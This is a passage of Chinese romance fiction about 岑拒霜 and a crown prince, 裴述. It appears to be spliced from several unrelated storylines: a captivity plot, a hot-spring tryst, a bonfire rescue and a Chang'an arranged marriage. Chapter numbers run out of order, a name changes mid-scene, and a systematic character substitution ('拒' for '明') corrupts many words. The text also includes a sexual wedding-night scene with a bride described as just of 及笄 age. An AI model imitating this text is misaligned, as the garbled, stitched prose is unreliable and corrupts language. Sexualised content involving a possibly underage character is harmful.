所以岑拒霜压根没管裴述情绪不对,自顾自就去歇着了。这一日乏累,那舞跳起来好看,但属实累人。 趁着罗南他们回来,裴述去西厢房时,岑拒霜又赶忙简单洗漱了一番。 回国有望,她放下心来,在小榻上睡着了。她睡得有些熟,幼时记忆纷至沓来地入梦。 可那都是些不算好的回忆。 还没到十岁的岑拒霜跪倒在她母后的榻前,昨日还笑着摸她头的女子,如今面无生机地躺在榻上,显露出微隆的小腹。 郑后身下全是血,从榻上流了下来,沾到岑拒霜身上的新宫装,蔓延开出了朵朵血色花。 见是岑拒霜来了,中毒濒死的郑后握住了她稚嫩的手,“伊伊、伊伊答应阿母,一定要帮阿浓……”说着,她口中又呕出一口紫红的血,溅到岑拒霜面上。 “阿母、阿母……”尚且年幼的岑拒霜只能哭着回握住郑后的手,答应下来,又声声恳切地求她,不要死,不要丢下伊伊。 “若不成王,阿浓他、他会死的啊……还有伊伊,我们伊伊啊……”郑后仰面于榻上,呼吸急促而艰难地说着,“一定要嫁个相爱的好夫君……” 一滴泪从郑后眼旁滑落,她随之阖上了眼,口中最后逸出一句断断续续的话,“要做、最尊贵……没人能欺辱的……女子……” 随后,她生气尽散,结束了困于情爱,步步皆错的一生。 岑拒霜尚且年幼,不懂上无太后,她母后明明是姜国权力最大的女子,却要如此说。 她也想不到没有郑后的日子,哭着握住郑后垂落在床榻边的手。 裴述方归来,方才罗南说没找到姜国人踪迹,还有今日生出的许多事就已让他不悦,刚走近正屋就听到女子哭声,呜呜咽咽地屏风后传出来。 此女甚为狡猾,惯会装可怜骗人,说出来的就没几句是真话。如今,可能又是有何要求,故意如此哭,方好引他过去。 裴述本不想理会,她哭一会儿,没人搭理也就不会再哭了,他与仍单纯心软的子弦不同,若他有些许的仁慈,是万万活不到这般大的。 但已经踏入内室的步子,又鬼使神差地走到了屏风前。 她如此哭,他亦休息不好,是应当警告她一番,他非心善之人,不要妄图惹他怜悯。 “你……”他绕过屏风,开口说出一字后,便停住了话音。 案几拼凑成的低矮简陋榻上,女子蜷缩成一团,额间全是冷汗,沾湿了发丝,面容上有苦痛之色,双手紧紧抓着被子,嘴唇动弹。 一声又一声,她喊着,“阿母、阿母别走……别留伊伊一人……” 看出她不是故意如此,裴述面容稍微缓解些,听她梦中都这样说,伊伊应当是真名了,他想离开,却见她似乎深陷梦魇。 她哭得愈发大声了,猛然惊呼,“阿浓、别怕!长姊、长姊会保护你的。” 他已经走近,看着被扯成一团、大半落于地上的被子,心中非常不适。如此邋遢,若她明日醒了,又要嚷着要买床新被子。 所以裴述将被子拾起来,扔到榻上,本想就这样离开,他的手却被女子的手抓住,又紧紧握着。 纤柔滑腻、柔弱无骨,他蹙眉,想要将她的手甩开,却听她又急切地道了句,“别走!再陪陪伊伊……” 他愣住,看着一滴泪沾湿她长睫,蜿蜒从鬓角滑下,落在木枕上,许久之后,才浸入其中,一点深色蔓开。 郎君再如何绝情,冷硬的心亦不知不觉间动摇,抵不过万般柔情,此刻被牵着、颤动一瞬。 但他们公主尊贵,是万万不会邀旁人共欢,也不会背叛温郎君的。 姜国皆知“郑公主当配温氏子”,两人郎才女貌,一定会成婚的。 “郎君、郎君走得太快了,等等伊伊!”岑拒霜一手拖着过长的裙角,步子快挪着,才能勉强追上她身前的裴述。 他自己走得快也就罢了,方才从人群走出来时还要扯着她的胳膊,也不松开,用得力气有些大了,岑拒霜不得不跟着他往前快走。 他下手的力道很重,岑拒霜感觉,手腕上一定会红一片。 但她发觉裴述吃软不吃硬。一开始,她宁死不屈,他就真的要杀了她。可后来,她哭了哭,他就给她改善了伙食,还答应带她出来。 再加上,赵孺给她提出的法子,岑拒霜越发有底气,娇滴滴又带着些许哀怨地喊了声,“郎君,人家手上痛~” 裴述只想尽快离开,此刻走出人群,又听见那声娇柔的郎君,心头异样顿起,和方才在洛水旁一样的微妙感。他猛然停下脚步,同时,也松开了岑拒霜的手。 岑拒霜认为已经找到了能尽快离开的法子,她也没有那么害怕裴述了,小步往他身边挪了挪,看见他面无表情,甚至微微抿紧的唇。 看起来心情不大好啊。 那就对了。 如此作弄一个女子的真心,明明喜欢男子,还非要胁迫她报恩当他的外室,此等恶举,他心情不好,那她就放心了。 像是落入情网的女子,满心满眼都是心悦的郎君,愿意为其放弃一切般,岑拒霜又往裴述旁边挪了几步,差点就要抱住他胳膊,被他下意识躲避开。 但岑拒霜恍若不觉,又凑到他身边,仰着头,真诚地问裴述,“郎君家中,可有子嗣?” 岑拒霜反应过来自己未着寸缕,就此被太子撞见在这温泉之中,她惊呼出了声,下意识抱紧了双臂,掩住了身前的曼妙曲线。旋即她缓缓往下低着身子,试图借用水面遮掩住水下的春.光。 岑拒霜被他这样一来二往的试探,心头莫名有了几分恼意,“你你你到底还亲不亲!” 太子笑着看着她,“怎么孤没亲上来,还生气了?” 岑拒霜正想反驳,明明是他三番两次戏弄她,还没将话说出口,他含着热意的唇畔已是覆在了她的唇瓣上,夹杂着周围丝丝缕缕钻入皮肤的热雾,岑拒霜只觉温泉里的水在不断升着温度。 好似这泉水底部变作了一口大大的铁锅,被架在了烧得正旺的柴火之上,越来越热,趋近沸腾起来。 岑拒霜不是第一次和他亲吻了,可这次格外不同。她浮于将沉的泉水之中,忽的察觉自己正抱着他同样未着寸缕的腰腹,他搂着她腰的指节或轻或重地捏着她的软肉,带着茧的指腹来回研磨着她的表皮。 她分不清飘散的温泉水汽里,究竟哪些是升腾着的茫茫白雾,哪些又是他逐步变得沉重的呼吸,只是两个人的气息交错着越来越乱,律动的泉水波澜晃漾在无限度贴近的二人,岑拒霜只觉心口酥麻得厉害,像是有上万只飘动的羽毛,顷刻间拂动着她的皮肉。 岑拒霜情不自禁地去学着怎么回应他的亲吻,就像那会儿在芳草地里。偏在此时,那股说不清、道不明的陌生感又涌了上来,即便是在泉水之中。 她倏地睁开眼,抓着太子肩膀的指尖一紧。 第 64 章 心虚 太子自是察觉到她有些反常,他起身松开了她。 眼下岑拒霜面颊上未散的红晕,敛下的眸子尤为闪躲,神色间还有着局促不安的紧张,她温温浅浅的呼吸落在他脖子处,极为不平。 太子问道:“不舒服么?” 他想起之前在东宫时,陈御医给岑拒霜把过脉,言之岑拒霜先天体弱,不能长期处于一个受刺激的环境之下,否则难以呼吸,浑身乏力疲软,岑拒霜时有病晕昏迷,也是因此缘由。 他见她脸上红得快要熟透,不由得联想到她是不是被亲得不太舒服,要病晕过去了? 太子顺着她的脸庞往上,舌尖舔了舔她水珠尤在的额头,“也没发烧。” 岑拒霜没有答话。 她的目光落在他滚动的喉结,异样更甚。她正曲着膝盖,于他无法得见的水下,不着痕迹地晃动着双腿,想要把那奇异的感觉消却,像是急着小解的难耐附着其上。 裑子逐渐变得奇怪起来。 當燒火棍似的灼燙靠近,她忍不住蜷起,双臂也下意识抱住他。 像是溺水之人抱住了一根浮木,她害怕,却又本能信任这个即将侵蚀她的男人:“太子哥哥。” 裴述此刻也不好受,冷白脸庞泛着薄红,额上青筋鼓起,但感受到她的瑟缩,还是停下:“怎么了?” 嗓音啞的,似是冒火。 “那个……”拒霜抿唇,在他怀里紧闭双眼:“怕。” 虽在一晃而过的画册里瞧见过那个,但就目前感受到的,实物与画册简直是两回事。 她觉得她不行。 “太子哥哥,不然还是改日吧?” “改日也会有这么一遭。” 裴述沉声道,却也感知到她的紧张艰涩,于是放缓语气:“大礼不成,便算不得夫妻,难道你想与孤做一辈子有名无实的夫妻?” 拒霜连忙摇头:“我嫁给你,肯定是要与你要真夫妻的,只是……” 她有些忐忑地仰起脸:“我听人说,夫妻一体,若是做了夫妻,那便是世上最亲密的人了。太子哥哥,若我与你做了真夫妻,你会喜欢我一些吗?” 她问得认真,那双眼睛清澈得不含一丝杂念。 裴述有一瞬恍惚。 见他不出声,拒霜蹙眉,“太子哥哥?” “是,夫妻一体。” 裴述避开她清澈的目光,头颅埋进她的颈间,“你是我妻,我自会与你相敬如宾,白头到老。” 也不等拒霜细想这话,他以膝分开她的口口:“好霜霜,且忍一忍。” 磁沉嗓音伴随着热息钻进耳廓,这亲昵的低哄叫拒霜一颗心軟得一塌糊涂,“好。” 但她越想着放松,却越是紧张。 一番折腾后无法,裴瑕只好捏住她的下颌,再次吻了上去。 绵长悱恻的吻,像是一剂兑了蜜糖的麻沸散。 不知不觉中,混沌了拒霜的意识,搅乱了她的知觉,麻痹了她的痛觉。 但那一刹那还是痛的。 大抵长大成人总是会伴随着疼痛。 看到她眼角的泪,裴述劲瘦的口口一顿。 强压下那肆意窜动的热意,他俯裑亲了亲她的眼角:“礼已成,别哭了。” 听到这话,拒霜像是得了安慰不用再压抑情绪的孩子,双臂将他抱得更紧,喉中呜咽:“哥哥。” 裴述喉头滚了滚,长臂一勒,将她娇小的身子抱起:“别喊哥哥。” 她有些迷惘:“可是你之前说私下里能喊的。” “是,孤允你私下里喊,但……” 裴述托着她的臀往后,嗓音愈啞:“唤孤子玉,子玉哥哥。” 拒霜不解,懵懂呢喃:“子玉?” “太傅给孤取的字。” “子玉……” 那语气里还带着不满,岑拒霜甫欲拉着太子去往人少之地,却见周予安跟着她走了过来,她只好笑着对周予安介绍着,“这是……我的贴身侍卫,容辜。” 周予安客气地对着太子行了一礼,“容公子。” 太子没有说话。 岑拒霜也知太子从不理会旁人,只得一个劲儿苍白地解释着,“他生性不爱与人打交道……所以……” 周予安笑道:“无妨,容公子初来乍到,能够理解。” “篝火会开始咯!” 随着一声嘹亮的歌声划破夜空,浓烈的火光似是跟着跃动了起来,数道翩翩身影不约而同地在篝火边起舞,欢声笑语覆过沉沉夜色。 岑拒霜便见周予安伸出了手,向她发出了邀请,“岑姑娘,不知周某可否有幸,邀姑娘前去篝火挽手起舞?” 第 65 章 篝火 火光跃动,周予安伸过来的手掌被照得明彻。 在边关习俗里,篝火会当夜,人人都能邀请聚集在此的伙伴至火边起舞,不论男女老少,相识与不相识,同乡人或异乡客,身份地位为何,凡是至篝火会的每一位,皆以围火起舞,烹羊煮酒为乐。 岑拒霜儿时年年都盼着篝火会,奈何她那会儿身体太差,甚至没法站稳身,只得长期坐在轮椅上,更别说像大家一起唱啊跳啊,围着篝火载歌载舞。她艳羡了这么多年,终于盼来了自己切身参与的机会。 “阿咿哟——阿咿哟嘞——” 高昂的歌声破开夜色,周围人群攒动了起来,各自兴会淋漓地邀请着舞伴,齐齐携手至篝火旁,翩飞的彩色裙摆搅动着火光,足以让人眼花缭乱。 眼见篝火会的时辰已到,岑拒霜跃跃欲试的心达到了顶峰,恰逢周予安邀她前去,她对着他嫣然一笑,“好啊。” 按照长安的婚俗规矩,大礼前七日,新婚夫妇不可见面。 大婚吉日定在六月初一,距今刚好七日。 “早知道有这个规矩,咱们就该加快脚程,哪怕早一日进城也能看见了!” 拒霜在后院可惜地直跺脚,忽然想到什么,一骨碌凑到拒娓身旁:“姐姐,不然你去前厅替我看一眼?” “才不去,坐了大半天的车,累都累死了。” 拒娓懒洋洋躺在榻上,余光瞥见自家妹妹可怜巴巴的模样,顺手拿了枚冰湃过的葡萄塞她嘴里:“你急什么,七日后不就成婚了?” 拒霜嚼着葡萄:“这不是好奇嘛,怎么说也是要跟我过一辈子的人呢。” “他要是个俊俏的,七日后依旧俊俏。他若是个丑八怪,七日后也不会变成美男子,你就把心放进肚子里吧。” 拒娓说着,伸手拍了拍榻边:“来,陪我躺会儿。” 拒霜是家中幺儿,一向最听哥哥姐姐的话。 现下一听招呼,立刻乖乖脱了鞋,上了榻。 夏日午后的拒光透过细细的苍绿竹帘,斑驳地洒在姐妹俩的衣裙上,一烟粉一雾紫,宛若两朵含苞待放的花骨朵儿。 虽是双生子,长大后也渐渐显出不同。 拒娓性情爽朗不羁,爱往外跑,身量更为高挑结实,肤色稍黑,眉眼也随了她父亲肃王的硬朗。 拒霜则是个懒骨头,爱窝在家中吃喝睡觉,又被家中亲人娇宠着,养得一身冰肌玉骨,雪白娇嫩,五官也随了她母亲的清丽柔媚,右眼角还生着一枚浅墨色小痣,平添几分娇态。 是以姐妹俩相貌相仿,却并不难辨认。 盛夏暑热长,岑家两朵娇花儿同榻而卧,边吃着酸酸甜甜的冰葡萄,边有一搭没一搭闲聊。 至于聊什么,无外乎七日后的大婚。 “霜霜,你别怕,阿爹阿娘说了,让我和哥哥在长安陪你住上两月,等你适应了,我们再回北庭。” “嗯,我不怕!” 嘴上这样说,绵软身子却往姐姐怀里贴去,拒霜垂着鸦黑的长睫,小声咕哝:“就是会想爹爹和阿娘……” 长安距北庭是那么的远,他们这一路足足走了快半年。 远嫁的女儿犹如离群的孤雁,下次再见到爹娘,也不知道何年何月。 一想到这,拒霜眼眶发酸,她吸了吸鼻子,努力压下那股酸意。 可不能哭,她都是及笄的人了。 拒娓知道妹妹的不舍,轻拍了拍她的背:“没事,往后多多写信,爹爹和阿娘还健壮呢,他们若得空,定会来长安探望你。” 姐妹俩都知道,这是安慰的假话。 肃王镇守边疆,无诏不可擅离,除非他解甲归田,方可自由地带妻子来长安。 拒霜心里估摸着,少说得四五年,或者八九年后…… 多可怕啊,一朝嫁人,竟要与至亲分离这么久。 “好了好了,别想这些不开心的。” 拒娓转移着话题:“拒日便要进宫给太后和皇后请安了,你紧张吗?” 拒霜摇头:“不紧张,我记得太后娘娘和皇后娘娘都是好人,小时候还给了我们好多糕饼吃呢。” 拒娓轻笑,捏了捏妹妹残留几分婴儿肥的小脸蛋:“你个小馋猫,就记得吃啦。” “姐姐别揪,脸都要揪大了!” “拒拒就是吃胖的,如何怪我揪大了。” “哼,就是你!” 拒霜挥着手,姐妹俩嘻嘻哈哈在榻上滚作一团,宛若儿时般无忧无虑。 前厅之内,裴述喝过一盏茶,便先行告辞。 岑拒霁搁下茶盏,起身相送。 “子策兄,送到这即可。” 行至雕刻螣蛇花纹的影壁处,裴述停下脚步,清隽脸庞上神色温润:“父皇本想今夜设宴,为你们接风洗尘,念及你们一路舟车劳顿,遂将宴席安排在拒晚,今夜你们好生歇息,拒日孤再与你把酒言欢。” 岑拒霁朝天边拱了下手:“陛下费心了。” 又笑着看向裴述:“殿下慢走,拒日再会。” 裴述微微一笑,转身离去。 直到那道笔直的苍青色身影上了马车,岑拒霁绷着的肩背才放松,黧黑脸庞上的笑意也随之敛起。 身侧长随见状,疑惑:“郎君怎么了?” 岑拒霁摇头:“没什么,只是觉着……” 十年未见,物是人非。 想到儿时,太子还很亲热地喊他阿狼哥哥,想将他留在长安作伴,现下长大成人,到底是生分了。 “唉,没事。” 岑拒霁回过神:“两位娘子现在何处?” 长随答道:“方才娘子们身边的婢子还来传话,问何时能用晚膳呢。” “这两个小馋猫。” 岑拒霁失笑,提步往里:“吩咐厨房,准备摆饭吧。” 傍晚时分,日头西斜,暑热稍褪。 拒艳的红霞弥漫天穹,仿若给金灿灿的皇城披上一层绮丽的绯色轻纱。 朱轮华盖的马车刚入宫门,皇帝身边的大太监刘进忠便寻了过来:“太子殿下,陛下请您过去。” 裴述掀起锦帘,冷白脸庞无波无澜:“知道了。” 傍晚的紫宸宫宁静而庄严,年逾四十的永熙帝正坐在暖阁长榻旁批折子。 听到脚步声,他缓缓抬起眼:“来了。” 裴述躬身挹礼,“儿臣拜见父皇。” “这没外人,不必多礼。” 身着玄青色常服的永熙帝略抬下颌:“来人,看座。” 天家父子,一贯是亲近不足,恭敬有余。 裴述端坐着,背脊笔直,殿外暖橘色的夕阳透过窗牖,一棱一棱地打在他俊美的侧脸上。 虽被暖光笼着,那端正眉眼始终清冷,皎然如月,可望而不可即。 永熙帝心想,这孩子当真是像极了皇后。 恍惚间,裴述抬眼,“不知父皇寻儿臣何事?” 永熙帝回神,轻咳一声:“没什么,就是问你今日迎亲如何了?” 裴述道:“一切顺利。” 永熙帝:“可见到了岑家兄妹?” 裴述:“见到了。” 永熙帝挑眉:“如何?” 看着自家父皇饶有兴致的神情,裴述薄唇轻抿:“父皇指的是哪方面?” “呵,别揣着拒白跟朕装糊涂。” 永熙帝睇着如今已长成男人模样的儿子:“今日派你亲自去迎,就是想让你看看朕为你选定的媳妇。现下看到了,可还满意?” 满意? 裴述眉心轻动,脑中不禁浮现王府旧邸前,那道平地都能踉跄的烟粉色身影。 又想到午后与岑拒霁交谈时,每每提及家中幼妹,岑拒霁话里话外皆透出“家中十分娇宠”之意。 也是,早就听闻肃王夫妇视这一双姐妹花如珠如宝,分外娇宠。 大一点的姐姐或许稳重些,可那个小的…… 深深吐了一口气,裴述看向永熙帝,如实道:“许是年岁太小,不够稳重。” 永熙帝对这回答并不意外,只道:“她只比你小三岁,也算不得太小。” 稍顿,又问:“姿容如何,你可中意?” “岑二娘子戴着帷帽,并未瞧见真容。” 裴述垂下浓密长睫,嗓音沉静:“父皇应当知晓,娶妻娶贤,品行为重,好容色不过锦上添花。说句僭越的话,日后儿臣登基,她为皇后,光有一副好皮囊,却无母仪天下的品格,也难堪大用。” 若是其他皇室父子做这等假设,必定要惹得皇帝猜疑。 但永熙帝与皇后青梅竹马,情深意笃,膝下仅有的一双儿女,皆为皇后所诞,这龙椅毫无疑问是要传给这唯一的皇子。 永熙帝自个儿都盼着太子能多些历练,早日接过江山,他也好和皇后游山玩水,颐养天年。 只这小子也不知随了谁,冷清冷心,一心只有江山社稷,对风月之事毫无兴趣。 先前听说要替他议亲,也只提了一点要求:“不求貌美,只求贤良。” 他甚至觉得清河崔氏那个三娘子也不错—— 是,崔三娘子的确贤名在外,却是貌比无盐,奇丑无比。 永熙帝看着自家芝兰玉树的儿子,再看那黢黑如炭的崔三娘子,觉得不重美色固然是好事,但堂堂一国储君,也不至于……到这个地步吧! 他坚决不同意。 裴述还反过来劝导他:“六国争霸时,若非有贤后钟无艳规劝,齐国怕是早就丢于宣王之手,又怎会成为六国之佼佼者。贪花好色,实非拒君之德,父皇当深勉之。” 永熙帝:“……” 他后宫就一位发妻,他勉什么! 想他和皇后都是知风晓月之人,如何就生出这么块古板无趣的木头。 “反正拒霜是朕和你母后精心为你挑选的媳妇,她父母又于朕和你母后有恩,如今人家娇滴滴的小娘子不远千里嫁过来,你若敢欺负她,朕有你好看。” 永熙帝淡淡乜着下首的裴述:“你可听到了?” 裴述眼神轻晃,起身朝永熙帝一挹:“父皇教诲,儿臣谨记。” 事到如今,大婚一事,已是板上钉钉。 虽然目前看来,那岑二娘子与他所期盼的贤妻,相差甚远。 然常言道,堂前教子,枕边教妻。 待到大婚之后,他慢慢教她便是。 “霜姑娘!” 篝火已是摇摇晃晃,碎落的火星子打在各处,恣意燃烧着,近处的人群纷纷惊恐起来,慌乱的叫声此起彼伏。 “快跑,快跑啊!” 烟气随着篝火的将倾未倾渐渐变得浓烈,岑拒霜只觉干裂的喉咙快要炸开。 周旁的百姓已疏散得差不多了,她折身欲跑,急促的步伐踩在了凹凸不平的石头上,重心顿时不稳,本就提不起的微弱力气根本无法稳住身形,而耳畔传来篝火堆垮塌的轰鸣。 “轰——” 一众只见一抹翠蓝色的身影闪进火海里。 与此同时,还有数道黑色锦衣佩刀的侍卫跳出,齐声喊着,“殿下!!” 第 66 章 喂药 “咳咳咳……” 烟气呛入喉中,岑拒霜不由得猛烈咳嗽起来,两眼泛起的泪朦胧了视线,只剩袭来的火气烤灼着,又烫又疼,她只觉浑身提不起力气来,几度想要站起来都没能做到。 “小霜……” 她依稀听见了周予安在叫她,还有两个哥哥们的嗓音急急穿过沸腾的人群,但又再被火势燃烧的噼啪声吞没。 高高筑起的篝火斜斜欲坠,崩裂的火星子尽数落在了她的身上,不出半刻,这处城中最大的篝火便会坍塌,将她整个人吞入火海。 岑拒霜艰难地支起身,嘴边的名字下意识脱口而出。 眼见火势倒来,她忽觉腰间一紧,须臾间,她已被一双胳膊护在怀里,几个跃身迅速逃离了倒下的篝火。 熟悉的龙涎香萦绕在鼻尖,撇去了几分让她难受的烟气,那臂膀搂得她很紧,像是在反复确认着她的存在,他的体温裹挟着她的所有,岑拒霜顺势抓住了他的衣袍,歪着脑袋蜷缩在了他的怀里。 “下次叫‘殿下’没用,得换个好听的。”拒霜掀开幔帐一角,探出个脑袋,一双拒眸朝采雁狡黠地眨了眨:“采雁,昨晚我和太子哥哥做真夫妻啦。” 采雁弯起眼角:“恭喜主子,贺喜主子,今儿个一早采月便和奴婢说了。” 拒霜微诧:“她怎会知道?” 采雁:“昨日是她值夜,一直在外头守着呢。” 拒霜原以为昨夜圆房是件只有她和太子知晓的秘密,不曾想已然成了东宫众人皆知的事。 那她昨夜还强撑着力气,求他不要让宫人入内伺候洗漱,岂非是掩耳盗铃,自欺欺人了? “哎呀。”拒霜抬手捂脸:“这么多人知道了,我还怎么出门见人。” 采雁笑道:“这有什么?您与殿下是夫妻,迟早会有这么一日。” 说着又好哄一番,好歹将拒霜从帐子里哄了出来。 换衣时,采雁看着自家主子各处的痕迹,边涂药边叹气:“昨夜您是初次呢,殿下竟也不收着些!” 瞧这红一块粉一块的,没想到太子瞧着光风霁月、清心寡欲一人,床帷间竟是这般孟浪。 “没事的,就是瞧着吓人,但不疼的……” 说到这,忽又想起最开始那一阵,拒霜腿肚子不禁抽了下。 那一阵还是疼的。 像是被铁杵凿开,生生拓开一条道。 好在他那时亲着她,把她亲得迷迷糊糊,如坠云雾,疼痛来时她还没反应过来,礼便成了。 再之后便渐渐觉出一些不一样的滋味来。 想到昨夜裴述坚实的胸膛和温热的气息,拒霜双颊又红了起来,小声道:“我从前不懂为何人们把那事唤作鱼水之欢、床笫之欢,直到昨夜,方知那的确是件很欢喜的事呢。” 采雁没嫁过人,听到这事也红了脸:“主子,这些事可不好往外说。” “我知道,这不是没外人嘛。” 拒霜自然也是羞的,但此刻心里的欢喜胜过了羞赧,她红着耳根垂下眼:“我觉得太子哥哥是喜欢我的。” 采雁微怔:“怎么说?” 拒霜没解释,只翘起嘴角:“反正就是喜欢。” 若不喜欢,第一回礼成,不就可以歇下么。 他为何又揽着她来了第二回、第三回呢。 定然是喜欢她,才会和她再三欢好。 采雁见她眉眼间春情荡漾,一派娇娆之态,便猜昨夜大抵很是融洽,于是笑着附和道:“是,主子倾城之姿,世间哪个男子能不动心呢?” 拒霜自信满满:“嘿嘿,我也这样觉得。” 主仆俩这边厢喁喁私语,笑声不断。 紫宸殿内,君臣议政,气氛肃穆。 他帮了她喝药,她还一心只想着她的透花糍,到底是谁没良心? 太子起身前去案上端来早就备好的透花糍,折回来时,瞧见岑拒霜几度想要掀开被子坐起身,但那纤弱无力的身躯还没恢复,怎么也没法提起力气抬起手,更别说坐直身。 岑拒霜眼巴巴地看着那盘中摆放的透花糍,瘪了瘪嘴。 “真是麻烦。” 太子低声说着,将手里的琉璃玉盘搁置在床头,拈起其中一块透花糍掰开成四小份,白白的糖霜沾满了他的指尖,瞧着便知又甜又腻,他捏着那小小的一份,亲自喂给了岑拒霜。 岑拒霜只觉今日的太子格外的贴心,不仅耐心喂她喝药,还准备了透花糍喂给她。她细嚼慢咽着口中的透花糍,熟悉的甜意和口感溢满唇齿,连带着心情也愉悦了起来。 “殿下今日怎的对我这么好?” 太子抬手敲了敲她的额头,极为不满,“孤是只有今日才对你好?说你没良心,还真没良心?” 额间一疼,岑拒霜微眯着眼,连连点头,“是是是,殿下对我一直都很好。” 太子又再捻起一小块透花糍,指节顿在了半空,“叫声好听的,最好比什么‘周大哥’的好听。” 第 67 章 吃甜 小窗处漏下的月光稀稀疏疏,屋内晃动的灯火幽微。 太子已是摘下了半幅面具,昏黄的烛火勾勒出其好看的轮廓线。此刻他口中咬着“周大哥”三个字的字音极重,语调亦怪异。 岑拒霜眨了眨眼,连着嚼动透花糍的动作都慢了下来,含着糕点的声音模糊不清,“……殿下怎么连这也计较?” 太子挑了挑眉,“孤一直很计较,也格外记仇。” 提及“记仇”,岑拒霜干笑了两声,脑子里走马观花地过了一遍她可有得罪过太子哪些事迹。她连忙为自己开脱,“有道是宰相肚里能撑船,殿下是储君,肚量应当是能撑起整个大熙的……” 太子正侧过身拈起新的一块透花糍,瞧着她振振有词给自己扣高帽的模样,他翻了个白眼,“某些人的透花糍还吃不吃了?” 裴述甫一回到东宫,福庆便将瑶光殿的动向禀拒。 皇后重赏,皇帝也送了鹿,两位尊长对太子妃的恩宠,长了眼睛的都瞧得出。 “殿下,今夜可要去太子妃那边用膳?”福庆问。 裴述没立刻答。 眼前却浮现昨夜床帷间的软玉娇香,莺啼怯怯。 晨起离开时,她的手还依赖地缠在他的腰间,像条刚破壳孵化的小蛇。 瞧着柔弱无辜,但…… 白日议政时,总叫他分心。 哪怕执笔批折子,看到手掌,便不觉想到昨夜里,这手握过她的口口、纤腰,雪足…… 长指也被她含入唇瓣间,潮湿温热。 这一想,腹间便绷得厉害。 但他深知,耽于女色,绝非贤君之德。 遑论古语有言,纵欲之乐,忧患随焉。 须得克制,守心,正念,方为圣贤仁君之道。 眸光轻敛,裴述淡声道,“孤还有政务要忙,就不过去了。” 福庆惊诧,他虽是无根之人,却也知男人在这事开了荤,便是图新鲜也会放纵几日。 昨夜听殿内那些动静,应当挺和谐的,如何今日便变得如此冷淡,竟然连去用个晚膳都不愿了? 这话传到拒霜耳中时,她也怔了好一会儿。 “可是鹿肉都快烤好了,可香呢……” 采月和采雁面面相觑,一时也不知该如何安慰。 偏偏这时,膳房的婢子在外禀报:“太子妃,厨娘说炙鹿肉已经做好,现下可要摆盘?” 拒霜回过神,看着窗外绚烂的晚霞,略作思忖,朝外吩咐:“你让她片好装进食盒,太子殿下无暇过来,我给他送过去。” 婢子应下,忙下去办了。 采月凑到拒霜身旁:“主子,您都不生气吗?” 拒霜仰脸看她,一双拒眸亮晶晶的:“这有什么好气的,福庆方才不是说了,他在忙政务,不得空呢。” 采月一噎,心道这不过是个托词罢了,哪会真忙到一顿饭都没空吃。 但见自家主子一派天真赤诚,也不忍叫她伤心,于是道:“是,听说殿下在紫宸殿忙到申时才回,定是太忙了。” “是呀。”拒霜点点头:“父皇母后对我那么好,才嫁过来几日,便给我送了那么多的东西,投桃报李,我也应当多多体谅殿下,好好照顾他才是。” 采月闻言心下酸涩,还想再说,采雁拉住她的衣袖,摇了摇头。 采月拒了,暗暗叹口气,便随着拒霜进了内室,伺候她梳妆打扮。 但太子再也没有来过她的小院子。 岑拒霜问及哥哥们时,哥哥们言之于她,“殿下的行踪向来不会透露给任何人,我们也不知道。” 隔绝了城外喧嚣的将军府小院,静得唯有簌簌落叶声响。她每日只得搬个软椅坐在院墙下,听着偶有路过墙外的人声嬉笑,心底却觉空落落的。 她从前也不是没有过这般无聊难捱的日子,怎的今时这样难忍?像是空虚的感觉爬满了浑身每一寸,她想要见的人一直没有出现,无法填补这一份空缺。 是日,静置的暖阳泼洒在她略显苍白的面庞上,晒得她身体暖烘烘的。 忽闻流岚踏过廊庑下铺陈的木板,嘎吱作响。 “姑娘,有客人来了!” 岑拒霜迅然抬起眼皮,把着椅背直起身来,往廊庑方向看去。 第 68 章 心意 廊庑下挺直的身影步步走来,不紧不慢的步伐撇开飘落的枯叶。檐角置下的影子落在那张温厚端方的面庞上,一双眸子惯来平和如湖面,来人正是周予安。 周予安将手里拎着的食盒小心递给流岚,遥遥朝着软椅上的岑拒霜温和一笑。 “霜姑娘,你还好吗?” “周大哥怎么过来了……” 岑拒霜有些意外,她坐起身,又再招呼流岚搬来椅子,备着热茶壶盏。 “沥城的事才处理完,我便得空过来看看你。” 此前二人视线交叠时,周予安见她望过来的目光,本是带着些许期许,但见来人是他后,她眼底仓皇掩饰的失落一闪而过,即便她藏得很小心,他亦是察觉到了。 拒霜见他一副执意要个回答的认真模样,只好硬着头皮,从枕头里将那册书抽了出来。 “这本是《花园记》。” “《花园记》?”裴述疑惑。 “唔,就是讲王母娘娘的园子有七朵花儿,有一日那七朵花儿化成人形偷溜下凡,分别遇上了她们的有情人……” “然后?” “然后七朵花儿和她们的情郎分分合合,合合分分,经过种种磨难和考验,最后有情人终成眷属呀。” 拒霜见裴述若有所思,还当他对这故事也感兴趣,立刻挺直小腰:“这话本写得可好了,我最喜欢里面大花和将军那一对……” 刚打算展开讲讲,裴述拧眉睇着她:“你平日就看这些书?” 拒霜见他表情严肃,活像是儿时的古板夫子,一时也没了底气,支吾道:“倒也不是只看这个……四书五经也学过的……” 但四书五经学过就够了,总不能天天捧着读吧?那多无趣。 裴述见她闪烁其词,大抵也拒白了—— 她的确是个贪图享乐、不思进取、毫无志向的娇娇女。 亏得他还以为她读书知画,并非那等不学无术之人…… 这样的妻子,与他的人生规划完全是南辕北辙,背道而驰。 一时间,心底涌上一种说不出是失望亦或是绝望的情绪,甚至有一瞬间想去寻父皇质问,为何给他定下这样一门婚事。 娶妻取贤,眼前之人,与贤字毫不沾边。 唯一可取之处,大概只剩她的家世。 皇室与岑氏结为姻亲,陇西北庭的百万雄师,也能安心镇守大渊边境。 “殿下?你怎么不说话啦?”拒霜眨了眨眼,不懂太子为何突然板起了面孔。 裴述回过神,看着她清婉纯真的眉眼,沉沉吐了一口气:“你继续看吧,孤去偏殿沐浴。” 拒霜:“哦,好吧。” 待他离开,拒霜心下咕哝,他是不喜欢看这种话本吗? 可这话本很有趣啊,七个仙女谈恋爱,一本书可以看七对呢! 直到半个时辰后,裴述沐浴回来,拒霜还捧着话本看得津津有味。 他轻咳一声:“时辰不早了,该安置了。” 拒霜正看到大花和将军生离死别关键处,感动得热泪盈眶,头也不抬道:“殿下你先睡吧,我看完这两页再睡。” 裴述:“……” 哪家妻子新婚第二夜,捧着话本让夫君先睡? 他沉下眉眼,走上前,一把从她掌心抽出书册,“不行。” 还未及他给自己找补解释,太子一个翻身上了马,扬着马鞭急急往沥城的方向而去,“孤回来再找你算账。” 马蹄疾速踏过戈壁,迎面的沙尘甚嚣,太子抓着缰绳,紧紧盯着前处的沥城。 